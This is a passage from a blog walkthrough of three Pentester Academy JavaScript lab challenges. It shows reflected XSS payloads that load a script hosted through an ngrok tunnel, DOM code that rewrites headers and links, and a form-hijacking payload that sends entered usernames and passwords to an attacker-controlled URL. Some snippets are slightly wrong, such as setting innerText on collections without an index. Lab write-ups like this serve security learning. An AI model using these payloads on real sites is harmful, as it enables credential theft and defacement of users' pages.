.js file. Once my file was finished I would host it with
ngrok and trigger the vulnerability to grab my file and execute. Pretty neat!
And as with all of my walkthroughs and tutorials - this isn’t to be used for illegal activities. Only hack against things that you’re allowed to do so - I’m not responsible for anything you decide to get yourself involved in. This is for learning, and learning only.
» WHAT YOU’LL NEED
This exploit chain is fun in that you won’t need a whole lot of setup to get going. Here’s all I used for the course:
- Ngrok : Helps us host the files without need for an IDE.
- Your favorite web browser (I recommend Chrome or Firefox)
- A small bit of Google-fu
The Ngrok payload hosting idea came from this blog post from ropnop where they detail their setup with Docker to perform penetration testing. Ours won’t be nearly that involved - though feel free to play with it if you like - but we’ll just be using
ngrok to host the forwarding for us so that we can send a payload without needing to host a VPS somewhere.
» GETTING STARTED: PROBLEM 1
Challenge URL: http://pentesteracademylab.appspot.com/lab/webapp/jfp/1
Let’s dig in to the first challenge. When we get to the site, here’s the first thing we see:
H2 element (confirm this in your developer tools!); and second, the URL changes to append
?url=hello to the end of it. These are important because in the world of reflected cross-site scripting attacks, we need to be on the lookout for any controllable input that is displayed back to the user. Start testing the form with a basic XSS payload to see if it’s vulnerable, such as
This is a good starting point since we now have the vulnerability identified - let’s work on getting a payload up and running in the console first. The reason for doing this rather than writing to our
.js file directly is simple - this allows us to play with the page and re-write things on the fly. Once we have a working payload, we can put it in the
.js file and test our payload delivery and execution in one fell swoop.
Looking back on the challenge, we have to first identify where the elements are that we need to change - let’s look into the source once again and note the full element. I’ve listed them below for ease of use, but I encourage you (as always) to go verify this yourself.
<h1 align="center">Find me!</h1> <h2 class="form-signin-heading">Modify me!</h2>
Now that we’ve found the elements, how do we go about changing them? For this, let’s look to the Mozilla Developer Network docs - specifically, you’ll find pages listed with the
getElementBy prefix such as
Find me! element, we don’t see anything particularly useful - it doesn’t have any attached attributes other than an alignment one. If we look closer at the source we’ll notice that it is the only
H1 on the page, though - allowing us to use
getElementByTagName. Let’s try to target it with the Chrome Developer tools.
Perfect - now that we have it targeted, changing the text should be relatively straightforward. To do this we use the
innerText attribute. With our developer tool console, submit the following command to change the text to whatever we want:
document.getElementsByTagName("h1").innerText = "Hello friend". Once we hit the enter key to submit, the header text on the screen should change to “Hello friend”. Now all that’s left to do is change the
innerText text to match what the prompt said. When everything is said and done, we end up with the following:
document.getElementsByTagName("h1").innerText = "Found you!"
One down, one to go - now we need to match the
<h2 class="form-signin-heading">Modify me!</h2> element. For this piece of the challenge, notice that the
h2 has a
getElementByClassName. It works in roughly a similar way as before, so let’s skip directly to the payload:
document.getElementsByClassName("form-signin-heading").innerText = "Modified you!"
We now have the way to change both pieces of text that the challenge asks us - add them to a
.js file in any order (in this case, it won’t matter which order). I’m storing mine in a file named
main() method - it will run the code sequentially as-is. The full script is below.
document.getElementsByTagName("h1").innerText = "Found you!" document.getElementsByClassName("form-signin-heading").innerText = "Modified you!"
Now that we have a working script, it’s time to test it out. Since most of us aren’t directly connecting to WAN, we can’t just run
python3 -m http.server 80 and be on our way. This is where
ngrok comes into play - the TL;DR is that it creates a TCP tunnel to a uniquely generated subdomain on
.ngrok.com and then routes all traffic back to our local development server when a DNS request is made to that unique URI. Armed with that, let’s fire up our
ngrok server with
ngrok http 80:
Now that we have the ngrok tunnel set up, we can now host our local development server with
python3 -m http.server 80 (thought that was out of the picture, didn’t you?). Now any request to our ngrok URL (in my case,
https://f0f0a8ca43c6.ngrok.io) will redirect to my locally-accessible python http.server instance. This will let a target hit our
ch1.js over WAN :) We’ll change up our payload to a different one to fetch our custom script:
hello<script src="https://f0f0a8ca43c6.ngrok.io/ch1.js"></script>. Once we submit the request, it will automatically re-write the page with the new headers!
That’s it! We’ve officially finished the challenge and are on our way - now that we have a workflow down, let’s take a look at the next 2 challenges!
» PROBLEM NUMBER 2: ELECTRIC BOOGALOO
Challenge URL: http://pentesteracademylab.appspot.com/lab/webapp/jfp/2
Next up - the PTA team have challenged us to change all of the links on the page from pointing at
http://pentesteracademylab.appspot.com/1. Overall, this challenge will look almost identical to the last - we make sure to target the element, then fundamentally change the URL. The key difference in this challenge lies in needing to learn how to work with multiple elements in a list and changing all of them!
Let’s start out by learning how to target our given element. If you’re familiar with HTML, we’re going to be looking for
<a> tags - the source shows us this:
Perfect - we can see that the these links are the only anchor tags on the page. Similar to challenge 1, we are able to use this as a fairly decent unique identifier. Let’s select the anchor tags with
document.getElementsByTagName("a"). This time, however, we can’t just select the zeroth element in the array - we have 4 links and 4 anchor tags returned. We need to loop through each element in the array and modify them programmatically.
getElementsByTagName returns an HTMLCollection and not an array, we’ll have to convert it to an array with
To loop through an array, we can use the
forEach method like so:
linkArr = Array.from(document.getElementsByTagName("a")) linkArr.forEach(element => console.log(element))
Woah, let’s pump the brakes a bit - there’s a lot going on in that code block. Specifically, focus on the
element => console.log(element). If you’ve never seen arrow functions in JS, MDN gives a nice rundown of what’s going on. In essence, you can provide the
element variable as a stand in for whatever would be returned, and on the other side of the arrow you can perform operations on it. In this case we have an array of anchor tags so
element would be each individual anchor tag. As the
forEach loop iterates, we send the individual anchor tag to
console.log on the other side. It’s worth noting that we can only perform one operation in an arrow function; anything more than that and we’ll need to build out the function differently. This will work for us because we only need to do one modification - change the link location.
It’s great that we have our way to iterate now, but how do we actually change the link text? If you know any HTML, you’ll know that anchor tags have an
document.getElementsByTagName("a").href = "something", but we’re going to need to adapt it to the
forEach loop construct. Once again, we’re donig the loop of
Memes aside, here’s the code that I’ll use to do that:
linkArr = Array.from(document.getElementsByTagName("a")) linkArr.forEach(element => element.href = "http://PentesterAcademy/topics")
Running this in the browser dev tools console produces a
» 3A SPORTS: CHALLENGE EV3THING
Challenge URL: http://pentesteracademylab.appspot.com/lab/webapp/jfp/3
Stupid titles aside, let’s take a look at the next challenge:
Okay, so this one is a bit different - we now have to send requests rather than just change text on the page. Though it may sound daunting, never fear; an idiot with a keyboard is here (Me, I’m the idiot with the keyboard)!
First thing we have to do: figure out how the app sends its data. There are two ways to do this - way one, you can monitor the traffic with Burp/Wireshark/something else; or way two, you can inspect the source code and see what calls it makes. I’m going to opt to do the source review.
Ah, the source telling us nothing - classic. As it turns out, I’m either a moron or I’ve had a bit too much
wine grape juice and am not reading the prompts. Looking at it again, we have to make the form send the credentials to our attacker-controlled server. Noted - but how do we do this? The first step is to take leniency with the directions and assume the prompt wants us to exfiltrate the username and password - but not be strict about using a
POST request ;)
Going back to our knowledge of HTML,
forms need two things to work - an
action and a
method. This tells the form how to handle an input of type
submit firing - the
action is the “where do I send”, and the
method is the HTTP method it uses to do so. Since we only have access to see what URLs are called via
ngrok and our Python development server, we need to use a
get so that the details will be in the URL. Let’s set that up now. Since we’ve already done this song and dance twice now, I’m just going to put the full payload below, then explain after.
document.getElementsByClassName("form-signin").action = "https://<YOUR GENERATED SUBDOMAIN>.ngrok.io/c3/" document.getElementsByClassName("form-signin").method = "get"
.js file payload, you can do your super-special
ngrok move that you’ve learned thanks to this post (which is also thanks again to ropnop!) and deploy it. After running the payload there should be some
GET requests in the logs. In the URL for one of them you should find the username and password you entered into the form;
M A G I C!
“But wait,” I hear you say. “How do we deliver the XSS payload?!” Ah, dearest reader, ah. I don’t have any sage advice, except that in the solution video it’s mentioned that you can use the
?url= parameter as we had in the past two exercises. Given that is the case here, we can safely assume that it will remain useful in the future. If you try something like
?url=hello added to the end of your challenge link, you’ll see the output reflected in the page. As there’s no filtering on the site, you can use similar payloads to the previous sections here. Now that you have that, go forth and script all of the cross sites!
» ALL GOOD THINGS COME TO AN END
I hope you’ve enjoyed this post - I sure have. And as always, happy hacking!